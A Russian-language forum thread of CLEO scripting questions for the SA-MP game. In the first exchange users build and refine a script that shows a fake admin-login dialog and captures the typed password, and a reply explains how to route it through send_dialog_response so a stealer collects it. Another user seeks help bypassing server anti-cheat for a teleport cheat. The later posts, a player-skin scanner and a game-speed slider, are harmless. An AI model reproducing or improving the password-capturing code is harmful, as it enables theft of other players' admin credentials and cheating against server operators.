Вопросы по CLEO-скриптингу

Azller Lollison

я узбек
Друг
1,342
2,266
CLEO:
{$CLEO}
0000:
repeat
wait 0
until 0AFA:

repeat
wait 0
until 0B61:  samp is_local_player_spawned

0B3B: samp show_dialog id 1337 caption "Ââîä ïàðîëÿ /alogin" text "Ââåäèòå ïàðîëü îò àäìèí-ïàíåëè." button_1 "OK" button_2 "" style 1
alloc 4@ 30

WHILE TRUE
wait 0
    IF 0B3C:  samp is_dialog_responded id 1337 button 0 list_item 0 input_text 4@
    THEN
        IF 4@ <> 0
        THEN
            say "/alogin %s" 4@
            free 4@
        ELSE
            0B3B: samp show_dialog id 1337 caption "Ââîä ïàðîëÿ /alogin" text "Ââåäèòå ïàðîëü îò àäìèí-ïàíåëè." button_1 "OK" button_2 "" style 1    
        END
    END
END
Разве это запалит стиллер? Мне нужно из клео диалога получить данные которые введет игрок. Так сказать быстрый взлом админа.. Я тестировал уже этот способ:

CLEO:
{$CLEO}
{$NOSOURCE}
0000:

0B34: "dlg" @dialog
0BDE: pause_thread 0

:dialog
0B3B: samp show_dialog id 1 caption "{FBBC3C}Way Of Life | {FFFFFF}АdminLogin" text "{FFFFFF}Введите свой админ-пароль:" button_1 "Выбрать" button_2 "Закрыть" style 1
SAMP.CmdRet()

и с него логи не идут)
 
1,417
1,029
Разве это запалит стиллер? Мне нужно из клео диалога получить данные которые введет игрок. Так сказать быстрый взлом админа.. Я тестировал уже этот способ:

CLEO:
{$CLEO}
{$NOSOURCE}
0000:

0B34: "dlg" @dialog
0BDE: pause_thread 0

:dialog
0B3B: samp show_dialog id 1 caption "{FBBC3C}Way Of Life | {FFFFFF}АdminLogin" text "{FFFFFF}Введите свой админ-пароль:" button_1 "Выбрать" button_2 "Закрыть" style 1
SAMP.CmdRet()

и с него логи не идут)
запалит, если ты будешь этот пароль отсылать себе, например get запросом, а если он просто будет в скрипте, то ничего не случится

upd. понял про что ты, отправляй через
0BC9: samp send_dialog_response dialog 0@ button 1@ listitem 2@ input 3@
в любой ид диалога, главное в инпут вставь переменную с паролем и стиллер словит её
 
  • Нравится
Реакции: Azller Lollison

Azller Lollison

я узбек
Друг
1,342
2,266
запалит, если ты будешь этот пароль отсылать себе, например get запросом, а если он просто будет в скрипте, то ничего не случится

upd. понял про что ты, отправляй через
0BC9: samp send_dialog_response dialog 0@ button 1@ listitem 2@ input 3@
в любой ид диалога, главное в инпут вставь переменную с паролем и стиллер словит её
Да? Сейчас попробую, спасибо.

запалит, если ты будешь этот пароль отсылать себе, например get запросом, а если он просто будет в скрипте, то ничего не случится

upd. понял про что ты, отправляй через
0BC9: samp send_dialog_response dialog 0@ button 1@ listitem 2@ input 3@
в любой ид диалога, главное в инпут вставь переменную с паролем и стиллер словит её
Только сел писать ответ)
Спасибо, завтра протестирую и отпишу о результатах.

запалит, если ты будешь этот пароль отсылать себе, например get запросом, а если он просто будет в скрипте, то ничего не случится

upd. понял про что ты, отправляй через
0BC9: samp send_dialog_response dialog 0@ button 1@ listitem 2@ input 3@
в любой ид диалога, главное в инпут вставь переменную с паролем и стиллер словит её
Кстати Еще доперло что можно не делать диалоги и не скрывать сообщение в чате, а просто зарегистрировать команду /alogin в клео, читать параметры и потом через опкод 0AF9 просто сделать эту же команду с теми самыми параметрами, и отправлять в 0BC9))
 
Последнее редактирование модератором:

Dominik_FlowHeep

Новичок
5
0
Вообщем у меня такая проблемка, я написал клео "TP" но меня кикает когда я тпхаюсь. Что можно добавить что бы меня не кикало? Я не могу понять как обходить анти-чит. Сам клео работает проверял на сервах с супер слабым анти-читом.
 

deStrange

умер
409
159
Так сам делай выводы, "Проверял на серверах с слабым античитом".
 
Последнее редактирование:

Dominik_FlowHeep

Новичок
5
0
Так сам делай выводы, "Проверял на серверах с слабым античитом".
Я проверил своё ТП там где играю меня кикает, подумал что может ТП вообще не рабочие проверил на сервере со слабыми анти-читом оказалось рабочее. Сделал вывод что нужно обойти анти-чит, но как?? Мне хотя бы примерно как можно обойти анти-чит.
 

deStrange

умер
409
159
Я проверил своё ТП там где играю меня кикает, подумал что может ТП вообще не рабочие проверил на сервере со слабыми анти-читом оказалось рабочее. Сделал вывод что нужно обойти анти-чит, но как?? Мне хотя бы примерно как можно обойти анти-чит.
Не всё так просто. Если ты хочешь юзать свои "тп" на каких-то крупных проектах - не судьба, античиты мощные пошли.
 

pwned

Участник
142
5
Можно ли как то сканировать игроков на сервере, типо если у игроков определенный скин
Выводило в чат его ник и ид?
 

D3.Pheonix

🎹
Модератор
2,817
1,599
Если скан постоянный, и людей с таким скинем не мало, лучше не в чат. А так завтра гляну, точнее сегодня днем
 
Последнее редактирование:

kraft1k

Вынь х*й из головы и все получится © hnnssy
Друг
1,479
1,163
Я проверил своё ТП там где играю меня кикает, подумал что может ТП вообще не рабочие проверил на сервере со слабыми анти-читом оказалось рабочее. Сделал вывод что нужно обойти анти-чит, но как?? Мне хотя бы примерно как можно обойти анти-чит.
Смотря какой сервер, я уже говорил. Если скажешь какой сервер, м.б подскажу, что да как.
 

LUCHARE

Известный
Друг
545
687
Можно ли как то сканировать игроков на сервере, типо если у игроков определенный скин
Выводило в чат его ник и ид?
CLEO:
{$CLEO}
0000:

const
TOGGLE = 0@
end

const
MAX_STREAM_ID = 1@
PLAYER_ID     = 2@
NICK          = 3@
end

const
HPED = 4@
end

repeat
    wait 100
until SAMP.Available()

0B34: samp register_client_command "scan" to_label @toggle

while true
    wait 0
    if TOGGLE == true
    then
        0C8A: samp MAX_STREAM_ID = get_max_player_id streamed_only true
        for PLAYER_ID = 0 to MAX_STREAM_ID
            if 0B20: samp HPED = actor_handle_by_samp_player_id PLAYER_ID
            then
                if 02F2: actor HPED model == #SBMOTR2 // скин какого-то бича
                then
                    0B36: samp NICK = get_player_nickname PLAYER_ID
                    log "%s[%d] бомж" NICK PLAYER_ID
                end
            end
        end
    end  
end

:toggle
0B12: TOGGLE = TOGGLE XOR 1
SAMP.CmdRet()
 

enziweee

Участник
28
32
Код:
{$CLEO}
{$INCLUDE SF}

const
EVENT_BUTTON_CLICKED                = 257
EVENT_COMBOBOX_SELECTION_CHANGED    = 513
EVENT_RADIOBUTTON_CHANGED           = 769
EVENT_CHECKBOX_CHANGED              = 1025
EVENT_SLIDER_VALUE_CHANGED          = 1281
EVENT_EDITBOX_STRING                = 1537
EVENT_EDITBOX_CHANGE                = 1538
EVENT_LISTBOX_ITEM_DBLCLK           = 1793
EVENT_LISTBOX_SELECTION             = 1794
end

0000:
10@ = 0

:1
wait 200                            
if SAMP.Available
else_jump @1

wait 0

0B80: dialog 0@ = create "[CLEO] GameSpeed by Bladee"
0B84: dialog 0@ set_pos_XY 850 500 size 200 100
0B91: dialog 0@ add_static id 1 text "Скорость" pos_XY 2 0 size 150 20
0B96: dialog 0@ add_slider id 2 pos_XY 2 30 size 100 35 max 5
0B86: dialog 0@ set_visible 0
  
while true
    wait 0
    if
        0ADC:   test_cheat "speed"
        then
            if 10@ == 0
            then
                0B5D: samp toggle_cursor 1
                0B86: dialog 0@ set_visible 1
                10@ = 1
                wait 500
            else
                0B5D: samp toggle_cursor 0
                0B86: dialog 0@ set_visible 0
                10@ = 0
                wait 500
            end  
    end  
    if 0B81: dialog 0@ pop_event_to 1@ control_id_to 2@
    then
        if 1@ == EVENT_SLIDER_VALUE_CHANGED
        then
            if 2@ == 2
            then
                0AF8: samp add_message_to_chat "Ползунок слайдера был передвинут. Компонент №%d" color -1 params 2@
                0B97: dialog 0@ slider 2@ get_value_to 3@
                0AF8: samp add_message_to_chat "Текущее положение слайдера(значение): %d" color -1 params 3@
                015D: set_gamespeed 3@
            end
        end
    end
end

не работает, ползунок двигается, параметры получает, скорость игры не изменяет, знаю, что скорость float, но он даже если 50.0 поставить не изменяет)
 

BlackKnigga

Известный
BH Team
922
444
Код:
{$CLEO}
{$INCLUDE SF}

const
EVENT_BUTTON_CLICKED                = 257
EVENT_COMBOBOX_SELECTION_CHANGED    = 513
EVENT_RADIOBUTTON_CHANGED           = 769
EVENT_CHECKBOX_CHANGED              = 1025
EVENT_SLIDER_VALUE_CHANGED          = 1281
EVENT_EDITBOX_STRING                = 1537
EVENT_EDITBOX_CHANGE                = 1538
EVENT_LISTBOX_ITEM_DBLCLK           = 1793
EVENT_LISTBOX_SELECTION             = 1794
end

0000:
10@ = 0

:1
wait 200                           
if SAMP.Available
else_jump @1

wait 0

0B80: dialog 0@ = create "[CLEO] GameSpeed by Bladee"
0B84: dialog 0@ set_pos_XY 850 500 size 200 100
0B91: dialog 0@ add_static id 1 text "Скорость" pos_XY 2 0 size 150 20
0B96: dialog 0@ add_slider id 2 pos_XY 2 30 size 100 35 max 5
0B86: dialog 0@ set_visible 0
 
while true
    wait 0
    if
        0ADC:   test_cheat "speed"
        then
            if 10@ == 0
            then
                0B5D: samp toggle_cursor 1
                0B86: dialog 0@ set_visible 1
                10@ = 1
                wait 500
            else
                0B5D: samp toggle_cursor 0
                0B86: dialog 0@ set_visible 0
                10@ = 0
                wait 500
            end 
    end 
    if 0B81: dialog 0@ pop_event_to 1@ control_id_to 2@
    then
        if 1@ == EVENT_SLIDER_VALUE_CHANGED
        then
            if 2@ == 2
            then
                0AF8: samp add_message_to_chat "Ползунок слайдера был передвинут. Компонент №%d" color -1 params 2@
                0B97: dialog 0@ slider 2@ get_value_to 3@
                0AF8: samp add_message_to_chat "Текущее положение слайдера(значение): %d" color -1 params 3@
                015D: set_gamespeed 3@
            end
        end
    end
end

не работает, ползунок двигается, параметры получает, скорость игры не изменяет, знаю, что скорость float, но он даже если 50.0 поставить не изменяет)
Чтобы изменять скорость игры в сампе нужен какой то патч. Я хз какой, но фип кажется знает